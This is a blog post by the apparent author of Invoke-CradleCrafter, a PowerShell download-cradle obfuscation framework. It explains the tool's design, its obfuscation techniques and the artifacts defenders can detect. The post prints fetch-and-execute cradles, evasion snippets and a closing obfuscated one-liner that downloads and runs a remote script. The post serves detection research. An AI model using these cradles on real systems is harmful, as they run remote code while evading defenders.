The Invoke-CradleCrafter Overview

Invoke-CradleCrafter is a remote download cradle generator and obfuscation framework that was originally born out of a handful of obfuscation techniques I presented in my initial PowerShell obfuscation research but did not include in the Invoke-Obfuscation framework for numerous design decisions. However, outside of a single invocation function the two projects do not share any overlapping obfuscation techniques and differ quite dramatically in form and function.

That being said, there remains a bit of confusion around these distinctions and the numerous features and design decisions that drove the development of Invoke-CradleCrafter. In this post I will highlight these design decisions, the differences between the two frameworks, and the unique role for which I built Invoke-CradleCrafter for both Red and Blue Team purposes.

Released in April 2017, Invoke-CradleCrafter started as a notebook containing obscure syntaxes to remotely download and execute code aside from the most common syntax: IEX (New-Object Net.WebClient).DownloadString(''). These examples included techniques as impractical as using SendKeys to automate payload downloads via notepad.exe all the way to more practical examples like COM interactions with Internet Explorer -- both means of pawning off the network connection for the download onto a native binary that is not the originating powershell.exe process.

This list also included numerous cradles relying on cmdlets introduced in PowerShell 3.0 (Invoke-WebRequest/IWR/CURL/WGET and Invoke-RestMethod/IRM) which at the time I had only seen used in the wild once or twice. While most attackers prefer to use (and re-use) tradecraft that is PowerShell 2.0+ compatible, these v3.0 cmdlets have a distinct advantage of being compatible in Constrained Language Mode (CLM) -- an advantage the v2.0 .Net-centric cmdlets do not have.

After realizing this list of cradles was long enough to consider building it out into something more user-friendly, I stumbled onto Will Schroeder's (@harmj0y) DownloadCradles.ps1 which contained several of the cradles in my list. This got me thinking about some of the ways I wanted to build out what would become Invoke-CradleCrafter to allow for Red and Blue to easily explore these and many more PowerShell download cradles while having a fully automatable tool that could be used to generate thousands of unique cradle examples for defenders to build into a corpus to use for building and tuning detections.

The design decisions that drove Invoke-CradleCrafter's development are as follows:

  1. I wanted an interactive framework that would be a "living library" of obscure PowerShell download cradles. From a user's perspective, I wanted a tool that would only require (at a minimum) the user to enter a remote URI where a payload is hosted and then be able to "plug" that URI into each cradle type and see what each cradle would look like. It was important to me to compile these obscure cradles into a single place to improve my own detections against the lesser known cradles especially when no obvious obfuscation is in play.
  2. During my time as an incident responder I have learned from my colleagues about numerous forensic artifacts and behavioral anomalies that I frequently go to when building detections for new techniques found throughout the course of research. Recognizing that the scale and scope of this exposure is rather unique, I wanted to share many of these behaviors and artifacts to provide helpful context for both Red and Blue Teamers surrounding each cradle, like compatibility, characterisitics, footprint on disk, behaviors, artifacts, etc. This design requirement was built in from the beginning to help educate users about the opportunities both to evade and more importantly to detect each of these cradle types at the behavioral level instead of (or in addition to) the syntax level. An example is shown below of the contextual information provided for the most common Net.WebClient DownloadString method cradle including helpful image load indicators (rasman.dll and rasapi32.dll) as well as artifacts where these indicators can be found on disk (PowerShell prefetch file and Tracing registry keys). In this case image load events could also be found in EID 7 events if Sysmon is installed. A more verbose example of this contextual information can be found for cradles that compile inline CSharp code as they produce additional CSharp artifacts on disk (.cs and .cmdline temporary files) and in registry (binary immediate ordering in AppCompat Cache) related to the compilation and execution of CSharp code via csc.exe and cvtres.exe. Finally, several of the cradles I included involve PowerShell leveraging additional native Windows binaries to perform network connections on its behalf, such as svchost.exe, bitsadmin.exe, iexplore.exe, winword.exe, excel.exe, and starting today in a new addition to the framework -- CERTUTIL.EXE for both Memory- and Disk-based cradles (bringing the total unique cradle count in this project up to legal limit of 21)! In addition to simple binary renaming attacks, it is important to eduate the defensive community about additional native binaries that can be easily used by PowerShell (and even standalone) to download content so that defenders do not overfocus detection efforts solely on powershell.exe making network connections.
  3. I wanted an outlet for automating and exploring several categories of obfuscation that were not feasible to include in Invoke-Obfuscation. This served to tremendously challenge and ultimately improve my current detection techniques for obfuscated PowerShell code in general as this framework allowed me to easily generate thousands of unique cradles as I added each obfuscation option to the tool. The obfuscation options used in Invoke-Obfuscation are slightly limited in that they had to work for any arbitrary input command or script. What that means is that Invoke-Obfuscation only obfuscates based on the command/script as whole (in the case of STRING and ENCODING obfuscation options) or on each given TOKEN of the payload and only in syntactical ways of representing that exact token. Since Invoke-CradleCrafter does NOT take arbitrary PowerShell commands or scripts but rather a few pieces of information -- URL, PostCradleCommand (optional), and Path (optional, only for disk-based cradles) -- it enabled me to completely control the overall context of each cradle syntax and its numerous components. This allowed me to build out four different categories of obfuscation, something that was not feasible in Invoke-Obfuscation: Method Substitution (i.e. .DownloadString vs .DownloadData), Spatial Obfuscation (the ordering/arrangement of the overall command), Substitution Obfuscation (for cmdlets, methods, arguments, properties, booleans, etc.), and Invocation Obfuscation (11+ ways to invoke downloaded code).
  4. Method Substitution -- The most basic example of this is the DownloadString method used in the most common download cradle. This is only one of the many methods found in the Net.WebClient .Net class. This particular method is likely the most commonly used by attackers since it returns the downloaded resource as a string residing in memory as opposed to the DownloadFile method which downloads the remote resource to disk. However, other methods in this class can also download payloads to memory in different formats like DownloadData (byte array) and OpenRead (byte stream). It was not feasible to have Invoke-Obfuscation substitute DownloadString with these methods as additional wrapper commands must be added to convert the byte array or byte stream into a string to produce the original payload. However, in Invoke-CradleCrafter I list each of these methods as separate cradles and the additional conversion logic is automatically added where necessary for each cradle. No more needing to remember all the different ways to convert byte streams into a string -- Invoke-CradleCrafter handles all of that for me :)
  5. Spatial Obfuscation -- An additional contextual opportunity that I baked into Invoke-CradleCrafter is that of spatial obfuscation. Basically, attackers often use consistent one-liner PowerShell cradles. But there is nothing stopping one from chopping up the components of the cradle into smaller pieces and storing them into variables and swapping the order of these components where compatible. All of this and much more takes place in several layers of randomization in the REARRANGE options available in each cradle type. Higher levels of obfuscation include not only crazier orderings of sub-commands, but also randomly-named variables as well as more obscure cmdlets to set and get variable values. Obfuscation levels 2 and 3 can differ significantly as you can see in this level 2 rearrangement (MEMORY\PSWEBSTRING\REARRANGE\2)... ...versus this level 3 rearrangement (MEMORY\PSWEBSTRING\REARRANGE\3):
  6. Substitution Obfuscation -- One of my favorite obfuscation techniques in Invoke-CradleCrafter is substitution obfuscation. Now some of this obfuscation could have been added into Invoke-Obfuscation, but there would have been numerous fringe cases to handle. Fearing it would adversely affect the reliability of Invoke-Obfuscation, I left these techniques as extra pages in my research notebook until I started developing Invoke-CradleCrafter. Even though this substitution obfuscation applies primarily to cmdlets, methods and arguments in this framework, for a simple example let's look at the DownloadString method one more time. In Invoke-Obfuscation this could be obfuscated with tick marks "Do`Wn`load`Stri`Ng", concatenation ('Down'+'load'+'String'), or reordering ("{1}{0}{2}"-f'load','Down','String'). In Invoke-CradleCrafter we can produce the string "DownloadString" via enumeration of the methods found in an instantiation of the Net.WebClient object. So if we set this object like $wc=(New-Object Net.WebClient) then we can enumerate all methods using either .PsObject.Methods or piping the object into Get-Member. If we choose the first option of .PsObject.Methods then "DownloadString" can be produced (manually) like ($wc.PsObject.Methods | where-object { $_.Value.Name -like 'DownloadString' }).Name. Invoke-CradleCrafter will add random obfuscation to each component of the above command to produce something more like (((($wc).PsObject.Methods)|?{(Item Variable:_).Value.Name-clike'D*g'}).Name) where 'D*g' will match and return the string "DownloadString" and no other method. All of the elements involved in this syntax are randomly selected for each iteration along with the wildcard strings to search and find the desired method name. Cmdlet obfuscation relies on wildcard strings to return the desired cmdlet object using a form of the Get-Command cmdlet (.(GCM N*ct)) or PowerShell 1.0 syntax using the $ExecutionContext automatic variable (&$ExecutionContext.(($ExecutionContext|Member)[6].Name).GetCmdlets('N*ct')). There are numerous nuanced layers for each of these substitution types, so the best way to explore these options is just to run the tool and see for yourself!
  7. Invocation Obfuscation -- Invoke-Obfuscation semi-dabbled in invocation obfsucation in its use of basic concatenation of 'iex' to invoke the common alias of the Invoke-Expression cmdlet. In Invoke-CradleCrafter I fully built out this concatenation obfuscation for IEX and added some new data sources like enumerating string methods: .( ([String]''.Insert)[14,10,27]-Join''). In addition, Invoke-CradleCrafter contains 11+ ways to invoke downloaded code using Get-Alias, Get-Command, numerous PowerShell 1.0 options, script block conversions and the .Invoke method, PSRunspace creation and invocation, PowerShell 3.0's Invoke-AsWorkflow cmdlet, and dot-sourcing and Import-Module for disk-based cradles.
  8. Precision of obfuscation was a HUGE design decision throughout the development of Invoke-CradleCrafter. When using Invoke-Obfuscation so much of the obfuscation is randomized behind the scenes. So even when I know that a particular obfuscation pattern is possible in Invoke-Obfuscation I have to run,undo,rerun again and again until that obfuscation syntax emerges. In Invoke-CradleCrafter I wanted to be able to pinpoint each obfuscation iteration so that I could more easily iterate through the obfuscation syntaxes of each component one at a time instead of all of them mixed together (i.e. obfuscating one method at a time versus ALL methods at once as in Invoke-Obfuscation). For larger cradles like PsComIE (PowerShell + COM object for Internet Explorer) you can see that there are numerous cmdlets, properties and even boolean values that can be obfuscated one at a time (or all together using the ALL option).
  9. Finally, as you may have noticed in the previous screenshots in order to see what parts of the command have changed upon the application of each obfuscation option I used color coding. Each changed portion of the command is yellow while the user-input portions of the command (URL, and optional PostCradleCommand and Path) remain blue so one can easily see what portions of the command are input directly by the user. I spent insanely too much time on the tagging required to make this color-coding function properly, but it was worth it in my opinion to help visualize the portions of the command changing before your eyes as various obfsucation levels and syntaxes are substituted into the original command at each stage of obfuscation. This color-coding feature easily makes Invoke-CradleCrafter my favorite personal development project so far in terms of visualization.

And for the users who have complained to me that Invoke-CradleCrafter is not useful since the URL in the final payload is still not obfuscated, my reply is that Invoke-CradleCrafter was never intended to replace the obfuscation found in Invoke-Obfuscation. Invoke-CradleCrafter supports the exact same CLI functionality that Invoke-Obfsucation does, so when I use Invoke-CradleCrafter I often just pipe the result directly into Invoke-Obfuscation and chain the two projects and corresponding results together. In addition, Invoke-CradleCrafter only ever produces PowerShell code, so if you want to add a launcher then I recommend piping the result into Invoke-Obfuscation to apply the desired launcher.

Hopefully this overview was helpful if you have never used Invoke-CradleCrafter before or if you had questions about what gap it was intended to fill in light of Invoke-Obfuscation. And for my fellow defenders out there, using the CLI and RegEx functionality with command chaining found in both Invoke-Obfuscation and Invoke-CradleCrafter makes the task of producing thousands of randomly obfuscated examples for detection development insanely simple. This is exactly what Lee Holmes (@Lee_Holmes) and I did when producing obfuscated samples for the PowerShell corpus we assembled for the Revoke-Obfuscation research. In April 2018 I will be sharing more of my methodology around this kind of enumeration for developing and tuning detections so stay tuned!

To download a one-page cheat sheet of my favorite Invoke-CradleCrafter "recipes" then you can run the following obfuscated PowerShell command: gdr -*;Set-Variable 5 (&(Get-Item Variable:/E*t).Value.InvokeCommand.(((Get-Item Variable:/E*t).Value.InvokeCommand|Get-Member|?{(DIR Variable:/_).Value.Name-ilike'*ts'}).Name).Invoke('*w-*ct')Net.WebClient);Set-Variable S ''; (Get-Item Variable:/E*t).Value.InvokeCommand.InvokeScript((GCI Variable:5).Value.((((GCI Variable:5).Value|Get-Member)|?{(DIR Variable:/_).Value.Name-ilike'*wn*g'}).Name).Invoke((GV S -ValueO)))

Happy (responsible) obfuscating!